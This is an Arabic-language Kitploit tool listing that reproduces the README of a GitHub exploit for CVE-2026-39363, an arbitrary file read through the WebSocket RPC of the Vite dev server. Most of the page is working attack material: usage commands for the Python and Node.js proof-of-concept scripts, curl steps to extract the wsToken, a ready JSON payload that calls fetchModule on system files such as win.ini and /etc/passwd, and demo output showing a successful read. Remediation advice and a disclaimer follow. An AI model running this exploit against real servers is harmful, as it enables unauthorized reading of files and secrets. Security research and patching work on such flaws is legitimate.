Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-39363 — استغلال لثغرة CVE-2026-39363، وهي ثغرة قراءة ملفات عشوائية عبر WebSocket في خادم تطوير Vite، مع سكربتات Python وNode.js للاستغلال الآلي وخطوات يدوية. | Kitploit
أدوات/GitHubGitHub/firebasky/cve-2026-39363
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراق
GitHubfirebasky/cve-2026-39363

CVE-2026-39363

استغلال لثغرة CVE-2026-39363، وهي ثغرة قراءة ملفات عشوائية عبر WebSocket في خادم تطوير Vite، مع سكربتات Python وNode.js للاستغلال الآلي وخطوات يدوية.

عرض المستودع
7منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-39363

ثغرة قراءة الملفات التعسفية عبر WebSocket في Vite Dev Server

نظرة عامة على الثغرة

الخاصيةالمعلومات
CVE IDCVE-2026-39363
GHSA IDGHSA-p9ff-h696-f583
نوع الثغرةArbitrary File Read (قراءة ملفات تعسفية)
المكوّن المتأثرVite Dev Server
الإصدارات المتأثرةVite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10
تقييم CVSSHigh
إصدار الإصلاحVite >= 6.2.3

مبدأ الثغرة

المشكلة الأساسية

يوجد في استدعاء RPC الخاص بـ fetchModule عبر WebSocket في Vite Dev Server ثغرة تسمح بتجاوز فحوصات الأمان.

مراجعة الكود

موقع الكود الثغري: vite/dist/node/chunks/dep-B0fRCRkQ.js:52065-52070

root@kitploit:~
async function fetchModule(environment, url, importer, options = {}) {
  // ...
  const isFileUrl = url.startsWith("file://");

  // نقطة الثغرة الحرجة: عندما يكون URL من نوع file:// أو لا يوجد importer
  // يتم استدعاء resolveId مباشرة دون إجراء فحص isFileServingAllowed!
  if (isFileUrl || !importer) {
    const resolved = await environment.pluginContainer.resolveId(url);
    if (!resolved) {
      throw new Error(`[vite] cannot find entry point module '${url}'.`);
    }
    url = normalizeResolvedIdToUrl(environment, url, resolved);
  }
  // ...متابعة المعالجة وإرجاع محتوى الملف
}

مقارنة مسارات الطلبات

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                    مسار طلب HTTP (مع فحص أمان)                    │
├─────────────────────────────────────────────────────────────────┤
│  HTTP GET /@fs/C:/secret.txt                                    │
│         │                                                       │
│         ▼                                                       │
│  ensureServingAccess()                                          │
│         │                                                       │
│         ▼                                                       │
│  isFileServingAllowed()                                         │
│         │                                                       │
│         ▼                                                       │
│  isFileLoadingAllowed() ────> BLOCKED                           │
│  (فحص server.fs.allow)                                          │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│                  مسار طلب WebSocket (تجاوز الفحص)                │
├─────────────────────────────────────────────────────────────────┤
│  WebSocket: fetchModule("file://C:/secret.txt")                 │
│         │                                                       │
│         ▼                                                       │
│  fetchModule()                                                  │
│  (isFileUrl || !importer) ───> resolveId مباشرة                 │
│         │                                                       │
│         ▼                                                       │
│  loadAndTransform()                                             │
│  isFileLoadingAllowed() ────> يعتمد على إعدادات fs.allow         │
│         │                                                       │
│         ▼                                                       │
│  إرجاع محتوى الملف بنجاح (إذا كان fs.allow يسمح)                │
└─────────────────────────────────────────────────────────────────┘

النتائج الرئيسية

  1. مسار HTTP: يمر عبر فحوصات متعددة ensureServingAccess → isFileServingAllowed → isFileLoadingAllowed

  2. مسار WebSocket:

    • دالة fetchModule لا تستدعي isFileServingAllowed
    • خط الدفاع الثاني isFileLoadingAllowed في loadAndTransform لا يزال فعالاً
    • لكن إذا كان إعداد server.fs.allow متساهلاً، يمكن قراءة أي ملف

شروط الاستغلال

  1. تعرض Vite Dev Server للشبكة (مثل استخدام --host)
  2. إعدادات server.fs.allow متساهلة:
    • fs.allow: ['..'] - يمكن قراءة الدلائل الأصلية
    • fs.allow: ['C:/'] - يمكن قراءة القرص C بالكامل
    • fs.strict: false - بدون أي قيود
  3. الحصول على wsToken (عبر الوصول إلى /@vite/client)

إعداد البيئة

root@kitploit:~
# استنساخ المستودع
git clone [email protected]:Firebasky/CVE-2026-39363.git
cd CVE-2026-39363

# تثبيت التبعيات
npm install

# تشغيل Vite Dev Server (باستخدام إعدادات متساهلة لعرض الثغرة)
npm run dev

استغلال الثغرة

الطريقة الأولى: استخدام سكربت Python

root@kitploit:~
# الاستخدام الأساسي (كشف المنفذ تلقائياً)
python exp.py -t localhost -p 5173 -f "C:/Windows/win.ini"

# قراءة ملف خارج المشروع
python exp.py -t localhost -p 5173 -f "E:/secret.txt"

# تحديد token
python exp.py -t localhost -p 5173 -f "/etc/passwd" --token "your_token"

الطريقة الثانية: استخدام POC بلغة Node.js

root@kitploit:~
# الحصول على wsToken
curl -s "http://localhost:5173/@vite/client" | grep -o 'wsToken = "[^"]*"'

# تشغيل POC
node poc.js localhost 5173 "C:/Windows/win.ini" "your_token"

خطوات الاستغلال اليدوي

  1. الحصول على WebSocket Token:
root@kitploit:~
curl -s "http://target:5173/@vite/client" | grep wsToken
  1. اتصال WebSocket:
root@kitploit:~
const ws = new WebSocket('ws://target:5173?token=TOKEN', 'vite-hmr');
  1. إرسال الحمولة:
root@kitploit:~
{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "id": "invoke_0",
    "name": "fetchModule",
    "data": ["file:///C:/Windows/win.ini"]
  }
}

العرض التوضيحي

root@kitploit:~
============================================================
CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read
============================================================
Target: ws://localhost:5173?token=6zKw8sjZ5KKF
File to read: C:/Windows/win.ini

[*] WebSocket connected successfully
[+] Server confirmed WebSocket connection
[*] Sending RPC: fetchModule(["file://C:/Windows/win.ini"])

============================================================
[+] SUCCESS! Arbitrary file read achieved!
============================================================
File path: C:/Windows/win.ini
------------------------------------------------------------
[+] File content:
------------------------------------------------------------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

============================================================

هيكل الملفات

root@kitploit:~
CVE-2026-39363/
├── README.md           # وثيقة تحليل الثغرة
├── exp.py              # سكربت الاستغلال بلغة Python
├── poc.js              # POC بلغة Node.js
├── vite.config.js      # ملف إعدادات Vite (للعرض التوضيحي)
├── package.json        # إعدادات المشروع
├── src/                # دليل الكود المصدري
│   ├── main.js
│   ├── counter.js
│   └── style.css
├── public/             # الموارد الثابتة
└── index.html          # ملف HTML الرئيسي

توصيات الإصلاح

1. ترقية Vite

root@kitploit:~
npm update vite
# أو
npm install vite@latest

2. تقييد server.fs.allow

root@kitploit:~
// vite.config.js
export default defineConfig({
  server: {
    fs: {
      strict: true,
      allow: ['.']  // السماح فقط بجذر المشروع
    }
  }
})

3. عدم تعريض Dev Server

  • لا تقم بتشغيل Dev Server في بيئة الإنتاج
  • تجنب استخدام --host لتعريض الخدمة
  • استخدم جدار الحماية لتقييد الوصول

المراجع

  • GHSA-p9ff-h696-f583
  • CVE-2026-39363
  • Vite Documentation

إخلاء المسؤولية

هذا المشروع مخصص لأغراض البحث الأمني والتعليم فقط. يرجى عدم استخدام كود استغلال هذه الثغرة في أي أنشطة غير قانونية. قبل استخدام هذا الكود للاختبار، تأكد من حصولك على إذن صريح من مالك النظام المستهدف.

License

MIT License

تنزيل الأداة